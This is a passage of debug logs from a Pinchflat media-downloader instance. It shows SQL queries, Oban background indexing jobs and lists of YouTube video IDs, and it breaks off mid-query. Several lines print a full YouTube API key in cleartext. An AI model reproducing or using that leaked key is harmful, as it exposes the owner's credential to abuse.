s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["795ca408-4bd9-43e6-9cce-4e8e49187aca"] 18:02:02.042 [debug] QUERY OK source="media_items" db=0.8ms idle=163.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [36, 2000] 18:02:02.043 [debug] QUERY OK source="source_metadata" db=0.0ms idle=164.6ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [36] 18:02:02.043 [debug] QUERY OK source="media_metadata" db=0.0ms idle=164.7ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1564179] 18:02:02.043 [info] Sent 200 in 2ms 18:02:30.123 [info] {"source":"oban","duration":8498,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:03:00.114 [info] {"source":"oban","duration":233,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:03:00.134 [info] {"source":"oban","duration":9945,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:03:30.143 [info] {"source":"oban","duration":7923,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:04:00.115 [info] {"source":"oban","duration":221,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:04:00.154 [info] {"source":"oban","duration":10441,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:04:30.163 [info] {"source":"oban","duration":7817,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:05:00.116 [info] {"source":"oban","duration":177,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:05:00.171 [info] {"source":"oban","duration":7816,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:05:30.178 [info] {"source":"oban","duration":7607,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:06:00.117 [info] {"source":"oban","duration":182,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:06:00.187 [info] {"source":"oban","duration":7772,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:06:30.201 [info] {"source":"oban","duration":13758,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:06:35.342 [info] {"args":{"id":30},"id":3800311,"meta":{},"system_time":1770768395342010325,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 18:06:35.343 [debug] QUERY OK source="sources" db=1.0ms idle=1463.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 18:06:35.344 [debug] QUERY OK source="settings" db=0.7ms idle=1464.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:06:35.345 [debug] QUERY OK source="media_profiles" db=0.8ms idle=1010.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:06:35.345 [debug] QUERY OK source="settings" db=0.7ms idle=10.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:06:35.345 [debug] Fetching recent media IDs from YouTube API for playlist: UU81hVmI5eEBIt3s3HQpJd_w 18:06:35.346 [debug] QUERY OK source="settings" db=0.0ms idle=4.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:06:35.346 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 18:06:35.526 [debug] QUERY OK source="media_items" db=0.5ms idle=183.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [30, "NeOhV4zOxJ4", "kpRGNxqv6Wk", "5XWEVoI40sE", "ObOqq1knVxs", "1Rx_p3NW7gQ", "xHotXbGZiFY", "k1BneeJTDcU", "ZIljQn1x7jw", "rYy0o-J0x20", "iE5WwlwJeDQ", "nt9c0UeYhFc", "dQTZVnDE2Qw", "ejc5zic4q2A", "QCVGpvzcHko", "Zxc20saM8DA", "L2rPEiWDbgo", "Eo9pU1q8sy8", "dcLFmN7aJe0", "6hCQLEIWadk", "iuF6CpML3IQ", "tqbziT3ZaY8", "yO5vFJLc7M0", "KBICg--AKdM", "YlMg9XgBDW0", "PpypHPzkeRU", "9Fg-dQxQOEs", "2z0RxTEJRkc", "eeO7COzVWnk", "W0quDfpfRUQ", "Z-ap5Fp2T6c", "obIGsb-IZMo", "2LzgYWCgkZk", "7uvXsgSI-n4", "0tQxKp351QQ", "MboeozTBgD8", "Z5UCZt20la8", "EtkDpYlySRM", "6B4Lrl9pdAA", "LZoO8LyizLA"] 18:06:35.527 [debug] QUERY OK source="media_items" db=0.2ms idle=183.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [30] 18:06:35.528 [debug] QUERY OK source="tasks" db=0.1ms idle=182.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800350, 30, ~U[2026-02-11 00:06:35Z], ~U[2026-02-11 00:06:35Z]] 18:06:35.528 [info] {"args":{"id":30},"id":3800311,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":186236,"event":"job:stop","queue_time":472423,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 18:06:36.342 [info] {"args":{"id":17},"id":3800312,"meta":{},"system_time":1770768396342878094,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 18:06:36.343 [debug] QUERY OK source="sources" db=0.1ms idle=814.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [17] 18:06:36.343 [debug] QUERY OK source="settings" db=0.1ms idle=815.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:06:36.343 [debug] QUERY OK source="media_profiles" db=0.2ms idle=809.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:06:36.344 [debug] QUERY OK source="settings" db=0.1ms idle=7.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:06:36.344 [debug] Fetching recent media IDs from YouTube API for playlist: UUHC4G4X-OR5WkY-IquRGa3Q 18:06:36.344 [debug] QUERY OK source="settings" db=0.0ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:06:36.344 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 18:06:36.444 [debug] QUERY OK source="media_items" db=0.4ms idle=100.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [17, "MvbAEEBLva8", "ZmWREtcDVBE", "qvot0oeaH_4", "uYLwEcxsDkI", "S9GJRC5XSXc", "AbTDzPUDxqY", "GdxFY_wtiOI", "NuEgjAMfdIY", "JYsDN6-XRrc", "nEU3gajt5aA", "0sowY00Ld_Y", "LN1CdJxY2_I", "RhOTMyzTDJw", "FU9J6mrKE28", "-BdZPFzH2JY", "Tvflpm-shoY", "qG04nqjL_iA", "T4tcZAduiVk", "icQmJ4Ty0Os", "GmC05wOc5Dw", "EwXx1AgEVA0", "gmqUvDGRKhk", "9GxXjTQSrLU", "rs1WF2SkjuY", "7EwRD6SzXws", "HZCwg_9zq2A", "2QKPQ6JYVhU", "P7GKK3liv8M", "TaFTKRjMY68", "e2HUg144liM", "Z-iNAyu-ejo", "9KOZUw_Ah8w", "rK2locyo-Pc", "N9OKVCt8dOM", "d9zHO6Lh2zY"] 18:06:36.444 [debug] QUERY OK source="media_items" db=0.1ms idle=100.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [17] 18:06:36.445 [debug] QUERY OK source="tasks" db=0.1ms idle=101.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800351, 17, ~U[2026-02-11 00:06:36Z], ~U[2026-02-11 00:06:36Z]] 18:06:36.445 [info] {"args":{"id":17},"id":3800312,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":102669,"event":"job:stop","queue_time":492401,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 18:06:38.344 [info] {"args":{"id":33},"id":3800313,"meta":{},"system_time":1770768398344777797,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 18:06:38.345 [debug] QUERY OK source="sources" db=0.2ms idle=466.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 18:06:38.345 [debug] QUERY OK source="settings" db=0.2ms idle=466.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:06:38.345 [debug] QUERY OK source="media_profiles" db=0.0ms idle=467.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:06:38.345 [debug] QUERY OK source="settings" db=0.0ms idle=6.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:06:38.345 [debug] Fetching recent media IDs from YouTube API for playlist: UUG7J20LhUeLl6y_Emi7OJrA 18:06:38.345 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:06:38.345 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 18:06:38.455 [debug] QUERY OK source="media_items" db=0.6ms idle=109.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [33, "NzsuvbUl7gQ", "HZvj8T5_oUE", "drTjLvO8GGs", "8rJJUfkeZvI", "UnXPSjJCTaA", "dbL5Ht1M5Ms", "9-cfmjKIYkQ", "PLvZPtFrX8Q", "uOLqPKuO2Bo", "Y7c0Pm_UVFQ", "eNgD1kg3U14", "clT0mzdwAAw", "hx_rBNhBMUY", "twQKO6x41lk", "WyL9aPjepWU", "P3gSkMK7_As", "vfvQ-HRUm8Y", "3y0y_Papw2s", "BWbMxeNv_Qg", "VeNvWih_nZM", "4iAEbavS8yc", "_EgbBQuviLk", "pTspjZ4Gjwo", "1hQrvRxwITA", "KG4xHJfvHAw", "yza8omO0x6s", "x0tgdtpjnpc", "ZdH7NdO7efQ", "hi8X2YhiP8A", "yxrbW3ofuJo", "7Sz9VfcOEKo", "baF6VombepE", "Pa53dGNd9Fw", "p3P-Kod95V4", "7y4_DW4L8Hc", "OZUf6aTxUZE", "jgQGUwBGva4", "TeV0gYqyBnY", "ezKhazl-mdI", "pEmZcPGnYfc", "vPA3i--1sM4", "xT4HZZ2N2-c", "vC9N7PgIvEM", "A0mp9XB_MaU", "ZXK6IywE0bQ", "o1wXhGL8_GM", "j801RCel8Nc", "EIUwdOmluFE", "oka31nU8V1c", ...] 18:06:38.456 [debug] QUERY OK source="media_items" db=0.4ms idle=110.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [33] 18:06:38.457 [debug] QUERY OK source="tasks" db=0.1ms idle=111.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800352, 33, ~U[2026-02-11 00:06:38Z], ~U[2026-02-11 00:06:38Z]] 18:06:38.457 [info] {"args":{"id":33},"id":3800313,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":112590,"event":"job:stop","queue_time":530803,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 18:06:39.347 [info] {"args":{"id":12},"id":3800315,"meta":{},"system_time":1770768399347934210,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 18:06:39.347 [info] {"args":{"id":11},"id":3800314,"meta":{},"system_time":1770768399347897772,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 18:06:39.348 [debug] QUERY OK source="sources" db=0.1ms idle=890.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [11] 18:06:39.348 [debug] QUERY OK source="settings" db=0.0ms idle=884.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:06:39.348 [debug] QUERY OK source="media_profiles" db=0.1ms idle=7.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:06:39.348 [debug] QUERY OK source="sources" db=0.7ms idle=890.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [12] 18:06:39.348 [debug] QUERY OK source="settings" db=0.0ms queue=0.1ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:06:39.348 [debug] Fetching recent media IDs from YouTube API for playlist: UUSOpcUkE-is7u7c4AkLgqTw 18:06:39.349 [debug] QUERY OK source="settings" db=0.1ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:06:39.349 [debug] QUERY OK source="settings" db=0.1ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:06:39.349 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 18:06:39.349 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", 